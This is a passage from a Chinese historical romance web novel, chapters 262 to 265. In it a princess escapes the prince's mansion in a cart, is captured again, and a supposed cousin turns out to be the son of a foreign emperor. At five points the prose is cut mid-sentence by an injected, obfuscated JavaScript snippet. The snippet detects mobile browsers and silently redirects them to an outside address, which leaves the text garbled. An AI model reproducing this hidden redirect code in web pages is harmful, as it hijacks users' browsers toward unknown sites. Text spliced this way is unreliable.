府门口,侍卫冷眼检查过往马车,目光如鹰。 姜姝宁屏住呼吸,身体紧绷得像一张拉满的弓。 “你这马车怎么这么沉?”侍卫的声音冷硬,指着地上深深的辙痕,“空马车哪有这么深的痕迹?” 商贩强挤出一抹笑,语气故作轻松:“大人,这车里装的是祭祀用的木箱,沉了些许,实在正常!” “木箱?”侍卫的语气陡然拔高,带着毫不掩饰的怀疑,“打开让我看看!” 这话如一记重锤,砸得姜姝宁头皮发麻,汗水瞬间浸湿了后背。 她死死咬住下唇,强迫自己保持冷静,脑海中却已闪过无数画面——被发现、被拖回王府、面对萧凌川那双深不可测眼眸的逼视…… 她几乎不敢往下想。 商贩额角也渗出冷汗,却仍硬着头皮赔笑:“大人,这些木箱刚收拾好,开箱就乱了套,小的还赶着交差,您就通融通融吧!” 他悄悄从袖中掏出一锭银子,试图塞进侍卫手中。 “少来这套!”侍卫一把推开银子,声色俱厉,“立刻把木箱打开!” 空气仿佛在这一刻凝固,姜姝宁的心跳几乎要冲破胸膛。 就在这千钧一发之际,一道沉稳的脚步声由远及近,伴随着管家略带不耐的声音:“干什么磨蹭?府里祭祀要开始了,还不让这些马车赶紧出去?” “管家,这辆马车有问题……”侍卫还想争辩。 “别管了!”管家打断他,语气不容置疑,“错过祭祀吉时,谁担得起责任?还不快走!” 他转向商贩,沉声道:“愣着干什么?还要我亲自帮你推车?” “是,是!小的这就走!”商贩如获大赦,忙不迭地推着马车冲出府门,车轮滚动的声响掩盖了他粗重的喘息。 姜姝宁在木箱中仍不敢放松,额头抵着木板,指甲几乎掐进掌心。 直到马车彻底驶离王府,融入街市的喧嚣,她才缓缓吐出一口气,紧绷的身体却依旧微微颤抖。 身后的侍卫望着远去的马车,满脸不解:“管家,那马车明显有问题,您为何不让小的查?” 管家站在原地,目光幽深地注视着马车消失的方向,良久,才低声道:“这是王爷的意思。” —— 皇宫大殿内,春神祭的祈福仪式刚刚落幕,袅袅的香烟仍在大殿上空盘旋,混杂着檀香与金炉的余温,空气中弥漫着一股庄严肃穆的氛围。 文武百官陆续退场,殿内的喧嚣渐渐散去,只余下几位王爷与近臣低声交谈。 萧凌川站在殿角,黑色锦袍映衬着他冷峻的面容,目光却追随着萧怀瑾离去的背影,眼神幽深如寒潭。 他正欲转身离开,皇帝萧政贤却快步上前,声音中带着几分刻意的温和:“四弟,先别走,朕有话想跟你聊聊。” 萧凌川脚步一顿,缓缓转过身,薄唇勾起一抹嘲讽的弧度,眼中却没有半分笑意:“臣竟不知,陛下与臣之间,竟还有话可聊。” 萧政贤脸上的笑意僵了一瞬,眼中闪过一抹尴尬与不自然。 昨日萧怀瑾专程来御书房恳求他,让他无论如何,今日都务必拖住萧凌川,别让他太快回府。 萧怀瑾是他为数不多的盟友,这点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095046|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小忙他肯定要帮。 于是,他硬着头皮挤出一抹笑,尽量让自己的语气显得亲切:“朕知道你我兄弟自小不亲近,但再怎么说,朕都是你的皇兄,总想与你多说几句话,叙一叙手足之情。” 这话说得冠冕堂皇,却换来萧凌川一声冷笑:“哦?皇兄倒是好兴致。” 他上前一步,目光如刀锋般直刺萧政贤,语气陡然转冷,“那当年臣在冷宫里,食不果腹,差点冻死时,皇兄又在哪里?若那时候皇兄能抽出半刻来‘叙一叙手足之情’,臣或许也不至于被那些**宫人踩在脚下,百般欺辱!” 萧政贤喉头一紧,像是被这话噎住了,脸色微微发白。 他张了张嘴,试图辩解:“四弟,当年你受苦时,朕也不过是个孩童,哪里懂这些?母后更是严令禁止朕踏足冷宫那种地方……” “孩童?”萧凌川冷哼一声,眼中嘲讽更甚,“皇兄怕是忘了,您十五岁生辰宴那日,有人提及臣是您的皇弟,您却当着满殿宾客,啐道:‘一个身上流着南月血脉的贱种,怎配当孤的皇弟?’” 他顿了顿,目光如利刃般刺向萧政贤,字字如刀,“皇兄早慧,十五岁时早已心智成熟,这番话,想必不是无心之言吧?” 萧政贤的脸色霎时煞白如纸,额角渗出细密的冷汗。 那是多年前的旧事,当时南月和大邺关系紧张,他作为储君,面对大臣的试探,自然要表明立场。 这事他几乎都要忘了,可萧凌川却将每一字每一句记得清清楚楚,复述时连语气都带着当年的轻蔑与不屑。 他张口想说些什么,却发现自己无从辩驳,只能僵硬地站在原地,喉咙里像堵了一团棉花。 萧凌川看着他这副模样,唇角的笑意愈发冰冷:“看来,皇兄果然没什么话与臣可聊。臣就先行告退了。” 他敷衍地拱了拱手,袍袖一甩,转身大步离去,背影如孤峰般冷峻,透着不容置喙的决绝。 出了皇宫,凌风早已候在宫门外,见萧凌川走来,立刻上前,低声道:“王爷,藏着王妃的马车已经顺利出城,我们的人一路盯着,绝不会让她脱离视线。” 萧凌川闻言,眼中闪过一抹阴鸷的光芒,唇角缓缓勾起一抹冷笑,像是猎人锁定了猎物:“很好。” 他低声喃喃,语气却带着令人毛骨悚然的寒意,“走,我们也出城。本王倒要亲眼看看,她和萧怀瑾,究竟打算如何双宿**!” 第262章 调虎离山 第二百六十二章调虎离山 马车在郊外的崎岖土路上疾驰,终于在一处僻静的林间空地停下。 商贩掀开木箱的盖子,低声急促道:“姜姑娘,到了!您下车后往右拐,码头就在不远处。那里会有个卖廉价玉石的老头儿,他便是接应您的人。他会带您登上南下的船只,宁王殿下已在船上恭候您多时了!” 姜姝宁从狭窄的木箱中爬出,粗布男装已被汗水浸透,额角的碎发贴在脸上,衬得她清冷的双眸更显坚韧。 她深吸一口气,压下心底翻涌的不安,低声嘱咐:“多谢大哥!还请大哥务必小心,千万别被景王的人发现!” 她的声音虽轻,却带着不容忽视的郑重,目光中透出一丝警惕。 商贩愣了一瞬,似乎察觉到什么,忙点头道:“姜姑娘放心,小的明白!” 姜姝宁不再多言,给了他一个意味深长的眼神,随即转身融入林间的阴影。 她来到码头附近,喧嚣的叫卖声与水浪拍岸的声响交织,码头上人头攒动,挑夫与商贩的吆喝此起彼伏。 她低头拢了拢衣领,目光迅速扫过人群,果然看到一个头戴破帽、贩卖玉石的老人。 那老人一边吆喝,一边频频东张西望,眼神中带着掩不住的焦急,分明是在寻找接头之人。 姜姝宁心头一紧,脑海中却闪过一丝决断——她并未走向老人,而是悄然转身,朝码头相反的西侧小路快步而去。 她的背影很快没入人群中。 与此同时,萧凌川已策马赶到郊外,黑色披风在风中猎猎作响,宛如暗夜中的孤鹰。 他的眼线早已候在一旁,见他到来,立刻上前禀报:“王爷,萧怀瑾派来接应的人已找到,就是码头边那个卖玉石的老头!宁王殿下此刻正在码头南下的船上!” 萧凌川闻言,薄唇勾起一抹冷笑,眼中却燃起一团阴鸷的暗火:“过去看看。” 他一夹马腹,凌风紧随其后,骏马如箭般冲向码头。 那卖玉石的老人远远瞧见萧凌川的气势,瞳孔猛地一缩,下意识想退入人群,却被萧凌川的马拦住,硬生生顿住脚步。 老人强挤出一抹笑,举起手中一串廉价玉石,声音微颤:“这位公子,可要瞧瞧老夫的玉石?上好的货色,便宜得很!” 萧凌川勒住缰绳,目光如刀般扫过老人手中的玉石,唇角浮起一抹嘲讽:“码头卖吃喝用度的不少,卖玉石的倒是稀罕。莫不是……掩人耳目的把戏?” 老人心头一惊,忙赔笑道:“公子说笑了!老夫不过是个流贩,这码头吃喝摊子太多,竞争不过,只好卖点玉石讨生活!” “最好如此。”萧凌川冷哼一声,目光却已转向不远处的江面。 一艘南下的商船停靠在码头边,船头站着一个身着锦衣的清隽男子,正是萧怀瑾。 他正焦灼地眺望岸边,眉头紧锁,显然在等人。 萧凌川眯起眼,眉头微挑,心中升起一丝疑惑——姜姝宁难道还未上船? 就在这时,一名男子策马疾驰而来,神色慌张地附在凌风耳边低语几句。 凌风脸色骤变,立即凑到萧凌川身旁,低声道:“王爷,王妃并未去码头!她往西边去了,上了另一辆西行的马车,我们的人正紧追不舍!” 萧凌川闻言,眼中寒光一闪,唇角缓缓勾起一抹阴鸷的笑,像是猎人发现了猎物的狡猾轨迹:“好一个调虎离山!” 他低声呢喃,语气却透着冷意,“带路,本王要亲手将她抓回来!” 马车上,姜姝宁目光透过车帘缝隙,警惕地扫视着外面的动静,心底却早已做好了最坏的打算。 忽然,一阵急促的马蹄声自后方传来,尘土飞扬,宛如雷霆逼近。 马夫被这气势吓得魂飞魄散,猛地勒住缰绳,声音颤抖地哀求:“诸位大人开恩啊!小的只是个赶车的苦命人,家里上有老下有小,全指着小的养活,求大人高抬贵手,放过小的吧!” 姜姝宁心头一紧,透过车帘看到一队黑衣骑士如暗云般压来,为首之人正是萧凌川。 他骑在高头大马上,黑色披风在风中猎猎作响,俊美的脸上笼罩着一层森冷的寒霜,目光如刀般直刺马车,带着一种不容置疑的压迫感。 她的心猛地沉了下去,知道自己今天是走不掉了。 她深吸一口气,掀开帘子走了出来。 萧凌川的目光在她身上停留片刻,锐利的眼神从她粗陋的男装到刻意弄脏的面颊一一扫过。 她这副模样,半点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095047|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像要与人私奔,倒像个仓皇逃命的难民。 姜姝宁迎上那道目光,强装镇定地开口: “王爷,我跟您回去。此事与这马夫无关,他只是个赶车人,还请王爷不要为难他!” 萧凌川依旧沉默,深邃的眸光在她脸上流连片刻,仿佛要将她每一寸情绪都剖析干净。 随即,他忽地伸出长臂,动作迅猛地将她拦腰抱起,毫不温柔地安置在自己马前。 他的力道之大,硌得她的腰肢生疼,她咬紧牙关,硬是忍着没发出一声痛呼。 萧凌川调转马头,往京城方向策马而去。 马蹄声如雷,身后一队人马迅速跟上,扬起滚滚尘烟。 马夫这才松了口气,脸上掠过劫后余生的庆幸。 马背上,郊野的风景飞速**,疾风刮过耳畔,带来刺骨的寒意。 萧凌川低沉的声音自她耳后传来,透着令人心悸的冷意:“等回府,你再好好跟本王解释清楚,今日到底演的哪一出!” 姜姝宁垂眸不语,耳边只有风声与马蹄声交织。 她早就料到萧凌川会找到她——以他的心思深沉,怎可能不盯紧崔芝兰? 怕是她与崔芝兰的计划,从一开始就被他知晓。 他之所以放任她顺利出府,不过是享受这种追逐的游戏,享受那种将她逼至绝境后再亲手擒回的势在必得。 而她也想借这次义无反顾的逃离,告诉他一个事实——自己绝非任由他摆布的棋子。 回到景王府,天色已彻底暗下,夜幕如墨般笼罩着整个府邸,寝室内的烛火摇曳,映得墙上人影晃动,平添几分诡谲的气氛。 萧凌川大步跨入寝室,铁青着脸,将姜姝宁狠狠摔在床榻上。 小白被这突如其来的动静惊扰,“嗖”地从她袖间窜出,张开尖利的獠牙,作势要扑向他。 萧凌川眼疾手快地一把抓住小蛇的七寸,毫不留情地打了个结,随手扔在地上。 下一刻,他欺身而上,将姜姝宁桎梏在自己与床榻之间,高大的身躯如山般压迫而来,阴影完全笼罩住她。 他的目光如鹰隼般锐利,透着危险的寒光,声音低沉而阴冷:“说!是谁暗中助你逃出王府,你又打算和谁一起离开?” 第263章 这个时候你还护着他! 第二百六十三章这个时候你还护着他! 姜姝宁抬起头,脸上浮现出一抹嘲讽的笑意,语气平静却暗藏锋芒:“放我离开王府的,难道不是王爷你吗?若非你的授意,我早在侍卫检查马车时就被发现了。王爷好一招引蛇出洞!” “你早就发现了?”萧凌川眉梢微挑,眼中闪过一丝意外,随即冷笑起来,“既然知道是本王的计谋,你还跑?就不怕像现在这样被抓回来?” “不试试怎么知道呢?万一成功了呢?”姜姝宁迎上他的视线,半点没有被桎梏的狼狈。 她此刻的冷静让萧凌川怒火更盛,他怒极反笑,伸出手,拇指缓缓摩挲着她的耳垂,触感冰凉而暧昧,另外四指却牢牢扣住她的脖颈,力道之大让她呼吸一滞。 “有点小聪明,可在本王掌心里,你翻不出风浪!记住一件事,你永远都不可能离开本王,明白了吗?” 姜姝宁笑了,笑声清浅却满是嘲弄:“王爷所言极是,除了死,我此生怕是无法逃离王爷的掌控。” 萧凌川眉头猛地紧锁,眼中闪过一抹复杂的情绪,似怒又似某种隐秘的痛楚。 “不许在本王面前提‘死’这个字!为了摆脱本王的掌控,你竟连萧怀瑾的接应都能弃之不顾,故意往西边逃窜?王妃,本王当真低估了你!” “不知王爷此言何意。”姜姝宁神色依旧浅淡,对他的愤怒视若无睹,“此事与宁王无关,离开王府皆是我一人所为,还请王爷不要牵连其他人!” “这个时候你还护着他!”萧凌川怒极,声音几乎是从喉咙深处挤出,“你发现出逃是本王的计谋,所以才故意不去码头与他会合!为了萧怀瑾,你竟能做到这份上!” “我没有护着任何人。我本就打算西上,去西榆。” “你一个女子,去西榆做什么?” “西榆是瑞王囤私兵的地方。如今瑞王入狱,王府收入骤减,但豢养的私兵不能一日无粮草,他们便以流寇之名在西榆横行霸道,为非作歹,当地百姓苦不堪言。家财被掠一空,无数人家老幼病重却无钱医治,唯有眼睁睁看着至亲在病痛中撒手人寰。”姜姝宁声音渐低,带着一丝难掩的悲悯。 这些是姜丞相除夕那夜来景王府时提及的,姜姝宁不信萧凌川会对此一无所知。 可在他眼中,似乎只有那高高在上的权势与争斗,黎民百姓的苦难与生死,在他心中怕是连一粒尘埃的分量都不及。 “我此番去西榆,就是为了行医救人。” “你以为本王会信?” 萧凌川冷笑一声,随手甩开她怀中紧抱的布包。 包袱散开,里面滚出的是一些草药、种子,还有一匣细长的银针,确实都是行医所需的物件。 他眼中闪过一丝错愕:“你当真……想去西榆行医?就算那些西榆百姓水深火热,于你一个深宅女子何干?犯得着你大老远跑去那里解救他们吗?” 姜姝宁嘴角勾起一抹冷嘲的弧度,目光直刺他的双眼:“王爷自诩神明,自然不在意他们的死活。可我死过一次,比谁都明白生命的珍贵! 那些西榆的百姓,本该安稳度日,过着平凡而幸福的日子,却因瑞王的私兵迟迟未被剿灭,饱受欺凌,家财被掠,亲人离散,活在无尽的痛苦与绝望之中!每一个生命都有活下去的权利,他们的命,与我们的命,同样珍贵无比!” 萧凌川目不转睛地盯着她,深邃的眸光中情绪翻涌,似是震动,又似某种更复杂的情绪在酝酿。 良久,他才缓缓开口,带着一丝意味深长的试探:“那日在书房里,你看到本王暗格里的东西了,对吧?” 萧凌川曾偷偷取下姜姝宁在后院悉心种植的草木叶片,交予孙神医鉴别。 几日前,孙神医前来禀告,语气中带着几分惊异:“王爷,这些绝非普通花草,而是稀有的药用植物。其中大多具有止痛之效,若按特定比例调配,甚至能令人短暂失去意识,实属罕见之物!” 此言如雷贯耳,萧凌川脑海中瞬间浮现出那夜在书房莫名晕眩的诡异情景,那碗所谓的安神汤,定是姜姝宁暗中动了手脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100324|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她竟敢如此处心积虑地算计于他,背后目的显而易见,必定是为了探寻他书房暗格中藏匿的机密! “是。”姜姝宁迎上他的目光,无所畏惧,“我知道你拿到瑞王私兵的虎符。既然西榆私兵能为王爷所用,想必,王爷是舍不得剿灭他们的了!你可曾想过,西榆百姓日日活在私兵的阴霾中,是何等绝望?” “这才是你想离开本王的真正原因?”他逼视着她,“你觉得本王会为了得到萧修湛的私兵,罔顾西榆百姓的生死?” “是。而且我知道,这虎符是姜瑶真给你的。”姜姝宁看着他,神色渐冷,“王爷跟她有了这场交易,怕是舍不得取她性命吧?既如此,我又何必继续留在王爷身边? 王爷别忘了,你我之间也是有交易的,既然王爷无法兑现承诺,替我除掉姜瑶真,那也休怪我自行逃离,寻求自由!” 萧凌川轻笑一声,似乎松了口气。 原来,她在意的是这个。 下一刻,他骤然出手,猛地将她从床榻上拉起,力道之大让她猝不及防,一个踉跄便跌入他坚硬如铁的胸膛,鼻尖撞得酸涩。 姜姝宁手忙脚乱地推开他,脸上浮起恼意的绯色。 —— 夜色笼罩码头,海风带着咸腥味刮过,船上的灯火在风中摇曳,映出萧怀瑾清隽却满是忧色的面容。 他站在甲板上,目光焦灼地扫向岸边。 姜姝宁迟迟未到,约定时间已过,他心头涌起一股不祥的预感。 他转头对身旁侍卫低声急道:“快去寻姜姑娘!她可能迷路了,带人分头找,务必确保她安全!” 侍卫领命匆匆离去。 就在这时,一名粗布衣衫的商贩挤上船,恭敬道:“宁王殿下,这是姜姑娘留在木箱里的纸条。” 萧怀瑾神色一震,迅速接过那皱巴巴的纸条,展开一看,上面墨迹清秀:“宁王殿下,请您用同样的方式,把崔侧妃送走吧。她比我更想去南阳。” 萧怀瑾紧紧握住纸条,指尖泛白,脸上浮现复杂神色。 第264章 虎符是假的 第二百六十四章虎符是假的 “所以,王妃是在吃醋?”昏黄的烛光下,萧凌川的神色邪肆,带着难以言喻的暧昧,“你怕本王舍不得杀姜瑶真,所以故意佯装和宁王私奔,以此来惩罚本王?本王不知道,原来王妃吃起醋来这般不讲道理!” 他似笑非笑地看着她,神情却相当宠溺,还带着一丝难掩的满足。 好像她做了什么正中他下怀的事。 姜姝宁只觉得头皮发麻。 他怎会曲解至此? “王爷未免自作多情了!”她没好气道,“我不过懒得与一个言而无信之人虚与委蛇罢了,哪来的什么吃醋一说?” “王妃别急着否认,虎符的确是姜瑶真给本王的,即便如此,也不代表本王会轻易放过她。更何况……”他顿了顿,嘴角勾起一抹阴冷的弧度,声音骤然压低,“这虎符是假的。” “假的?她为何要这么做?”姜姝宁愕然,难道姜瑶真不想得到萧凌川这个强硬的靠山? “自然是因为,她想要本王的命!”萧凌川神色阴沉得骇人,“瑞王私兵真的虎符,本王前世见过,是白金所制,他和镇国将军一人一半。而这玄铁虎符是假的,若本王带着这虎符去西榆,他的私兵见了,便会将本王视作敌人,就地斩杀。” 姜姝宁的心顿时掀起惊涛骇浪。 前世姜瑶真那一声声娇憨的“凌川哥哥”仿佛犹在耳边。 他们二人即便各自成婚,仍旧藕断丝连,暧昧不清的关系,曾是她心底最深最痛的一根刺,拔之不出,碰之即痛。 没想到今生,他们的关系竟恶化到如此地步,姜瑶真竟不惜设局,要将萧凌川置于死地! 萧凌川对她的恨意,姜姝宁尚能理解,毕竟前世她们母女曾联手算计他,伤他至深。 可姜瑶真又是为何? 她又有什么让萧凌川非死不可的理由? 纷乱的思绪被她强行压下,姜姝宁直视着他:“王爷打算怎么做?” 萧凌川耸了耸肩,轻描淡写道:“本王自然不会落入她的圈套。既然她不愿交出真的虎符,那本王就只好把萧修湛在西榆的私兵给摧毁了!” 姜姝宁心头一紧,立刻追问道:“王爷打算怎么摧毁?” “不急。”萧凌川眼底闪过一丝毫不掩饰的阴鸷与杀意。“在此之前,本王先处置一个叛徒!” 第二日,骊山书院的姜天泽被强行押解至景王府。 为防姜天泽以毒术害人,萧凌川亲自动手,将他囚禁于一间阴暗的厢房之中。 他被五花大绑,毫不留情地扔在地上,狼狈不堪,满身尘土,昔日那副温文尔雅的书生气质早已荡然无存。 “王……姐夫,你为何这般对我?”姜天泽抬起头,声音中带着几分颤意。 萧凌川居高临下地看着他,目光如刀般锋利:“姜瑶真给的虎符是假的,你却一再怂恿本王速去西榆收服瑞王的私兵,看来你们早就串通一气,欲置本王于死地,是不是?” 姜天泽额头渗出细密的汗珠,眼神微微闪烁,强作镇定地辩解道:“虎符……是假的?怎会如此?我不知情啊,这虎符是二姐姐亲手交给我的,求姐夫明鉴!” “本王命你用蛊虫控制她,逼她交出虎符,若她真中了蛊毒,又怎会献上假虎符?”萧凌川神色阴鸷,眼中怒意渐盛,逼近一步,气势压得人喘不过气来,“唯一的解释,便是你压根没用蛊毒控制她!你们沆瀣一气,处心积虑要害本王性命!” 姜天泽没想到萧凌川会猜到他和姜瑶真的计划,心头猛地一紧,但面上还是那副无辜的模样,声音急促而慌张: “姐夫,我冤枉啊!我真不知内情……那蛊虫我确已给她服下,那日您亲眼所见,她对我的话言听计从……姐夫,我绝无害您之心,千万莫信旁人挑拨!” “你还敢嘴硬!”萧凌川神色阴冷,眼中闪过一丝不耐,“莫非要本王将姜瑶真抓来,与你当面对质,你才肯吐露实情?” 姜天泽一想起姜瑶真平日里那副损人不利己的模样,心底一寒,若她在场,说不定会越描越黑,把他拖入更深的泥潭。 他连忙抬起头,眼中满是惊恐:“姐夫,我知错了!是二姐姐胁迫于我,她说唯有您死,大姐姐方能重获自由……我一时糊涂,信了她的话,才铸下大错,求姐夫念在大姐姐的情面上,饶我一命!” “少在本王面前一口一个‘大姐姐’,姝宁当真是你的堂姐?”萧凌川神色愈发阴冷,声音中带着几分嘲讽与怒意,“本王早已查清你的身世,你父亲多年前因纵欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100325|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过度,早已丧失生育之能。他为遮掩真相,才娶了已有身孕的你母亲。你根本不是姜三爷的血脉,与姝宁更无半分亲缘!” 姜天泽闻言,瞳孔猛地一缩,脸上的伪装瞬间崩塌。 随即,他忽然大笑起来,清隽俊美的脸上浮起狰狞神色,眼中满是疯狂与挑衅:“王爷果真神通广大,查得如此清楚!那您可知晓,我真正的生父是谁?” “本王迟早会查出来的!”萧凌川冷冷地盯着他。 “何须王爷费心,我这便告诉您。”姜天泽一扫方才的唯唯诺诺,神色冰冷,嘴角扯出一抹诡异的笑意,一字一句道,“我的生父,正是南月当今皇帝,花连城!” 听到这话,萧凌川神色骤变,似是未料到这个答案。 比他更震惊的是一墙之隔的姜姝宁。 她一时间无法消化那么多信息,心头如被重锤击中,脑中一片混乱。 此前萧凌川告诉她,姜天泽的母亲是南月毒师,她还不信,没想到姜天泽竟亲口承认他用了蛊毒。 如今,更加炸裂的真相摆在眼前——姜天泽不是三叔的亲生儿子,而是南月皇帝的孩子? 她的手微微颤抖,靠着墙壁才能勉强站稳,眼中满是错愕。 今生到底还有多少事是她始料未及的? 萧凌川目不转睛地盯着姜天泽,嘴角扯出一抹冷笑:“你以为本王会信你这番鬼话?” “王爷是不信,还是不敢信?”姜天泽迎上他的目光,眼中闪着诡谲的光芒,“若王爷不信,不妨将我松开,我自有证据奉上,让王爷心服口服!” 萧凌川冷冷地瞥了他一眼,眼神中透着几分试探,随即朝一旁的凌风使了个眼色。凌风会意,立刻上前,三两下解开了姜天泽身上的粗麻绳。 姜天泽活动了一下酸痛的筋骨,嘴角笑意更深,从怀中掏出一个物件,递到萧凌川面前,眼中尽是挑衅。 萧凌川定睛一看,神色骤变。 姜天泽手中握着的,竟是南月皇室特有的玉牌! 萧凌川对这物件的真伪再熟悉不过,一眼便断定,这绝非赝品,而是如假包换的真品! 姜天泽缓缓凑近他,压低声音,笑得意味深长:“王爷,是不是很意外?您与我,竟然是……表兄弟!” 第265章 身世之谜被揭开 第二百六十五章身世之谜被揭开 姜天泽见萧凌川神色骤变,有些得意:“如何?王爷还想要取我的性命吗?” “自然不会,你是南月皇帝的血脉,于本王大有用处,本王怎么舍得杀你?” 萧凌川冷哼一声,声音低沉如冰,眼中却闪着莫测的光芒。 他微微侧头,给了凌风一个眼神。 凌风心领神会,立刻转身朝隔壁走去,不多时便将姜姝宁带了过来。 看到姜姝宁的那一刻,姜天泽的神色骤然一变,原本的得意和挑衅瞬间被慌乱取代。 他猛地转头,冲着萧凌川撕心裂肺地怒吼:“萧凌川,你这个卑鄙小人!” 萧凌川脸上浮起阴鸷的笑意,薄唇轻启,语气中满是嘲弄:“怎么,假扮人家的堂弟,演得如此入戏,竟还上瘾了?若非本王用这种方式揭穿你的真面目,你是不是打算一直装下去?” 姜天泽神色慌张地看向姜姝宁:“大姐姐,我不是故意要骗你的,关于我的身世秘密,我也是刚刚知道……” “天泽,你不要再说了。” 姜姝宁的声音低而无力,显然还未从这场惊天的真相中缓过神来。 她深吸一口气,恳求道,“此事,不要让父亲母亲知道,可以吗?” 兄长已死,姜丞相和姜夫人将所有的希望都寄托在姜天泽身上。 若他们得知他不是姜家血脉,心中的天怕是要彻底塌了。 之前她就不止一次觉得姜天泽和萧凌川眉眼间有几分相似,原来,他们都是南月后代。 “我会的,大姐姐,你放心。”姜天泽低声承诺,眼神复杂地扫过她的脸,似有不甘,又似有愧疚。 她知晓自己和她并无血缘关系,还会如从前那般毫无芥蒂地与他亲近吗? 而自己对她深埋心底、那些见不得光的情愫,怕是迟早会被她察觉吧? 一想到这些,姜天泽心头如被利刃划过,情绪如汹涌浪潮般翻滚,根本无法压制。 姜姝宁转头看向萧凌川,恳求道:“王爷,虽然天泽不是姜家血脉,但还请您不要为难他,也别将此事公开,以保全三叔和我们姜家的声誉。姝宁在此谢过王爷。” 说着,她朝他慎重地行了个礼。 萧凌川跨前一步,伸手扶住她的手臂,动作看似轻柔,却带着几分不容抗拒的力道,将她稳稳地拉了起来。 他嘴角微微上扬,勾出一抹意味深长的笑意,声音低沉而略带几分戏谑:“傻瓜,你我既是夫妻,何必说这些生分的话。本王依你就是了。” 他的手掌依然稳稳地扣在她的手臂上,不知是有心还是无意,迟迟没有松开的迹象。 姜姝宁试了几次都挣不开,能任由他扶着。 两人这亲昵的模样落在姜天泽眼中,像是刀子一般刺得他心口生疼。 他攥紧了拳头,指甲深深嵌进掌心,眼中燃起一团妒恨的火,却不敢有半分表现,只能垂下头,强压住那股戾气。 待姜姝宁离开后,萧凌川的神色骤然一冷,像是换了一张面孔,阴鸷得让人不寒而栗。 他缓缓走到姜天泽面前,居高临下地俯视着他,声音如寒冰刺骨:“说吧,这些年你有没有跟南月皇帝联系过?你和你那毒师母亲留在大邺,到底有什么目的?还有什么不可告人的秘密?” 姜天泽抬起头,冷笑一声,眼中满是挑衅:“王爷难道不该对我客气一点,好得到我父皇的助力,让你早日夺得大邺皇位吗?” 话音刚落,萧凌川眼中杀意一闪,猛地伸出手,用力扣住姜天泽的脖颈。 他的手指如铁钳般收紧,目光凶狠如狼:“你以为本王稀罕吗?再不从实招来,本王定让你生不如死!” 姜天泽拼命挣扎,脸涨得通红,喉间发出低哑的喘息,断断续续地挤出几个字:“你明明……答应过大姐姐……” “那又如何?”萧凌川神色狰狞,嘴角扯出一抹残忍的笑,“你一个和她毫无血缘关系的人,**就**,大不了本王和她生个孩子,给姜家当继承人!” “你……”姜天泽在他眼中看到了赤果果的杀意,心底一寒,像是坠入了冰窟。 萧凌川这人阴狠毒辣,绝不是嘴上说说而已。 他挣扎了片刻,终于再也撑不住,喘着粗气,艰难地吐出一句:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104168|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我说……我说!” 萧凌川略微松了些力道,却依然没放开他,目光如刀般刮在他脸上:“快说!本王耐心有限!” 姜天泽咬着牙,眼中满是**,断断续续地交代:“我父皇……多年前来找过母亲,让她……毒害当时的大邺皇帝,也就是你父皇。我母亲失败后……他便任我们母子在大邺自生自灭,没再来找过我们了……那块玉牌,是母亲偷他的……我,我根本没见过他!” “所以说,他压根不知道你的存在,对吗?”萧凌川冷声问,眼中闪过一抹深思。 姜天泽艰难地点了点头,喉间满是苦涩:“是……他根本不知道,大邺还有我这个儿子。” 萧凌川冷笑一声,终于松开了他的脖颈。 姜天泽猛地咳嗽起来,瘫坐在地,大口喘着气,脸色苍白如纸,眼中却依然藏着一抹不甘。 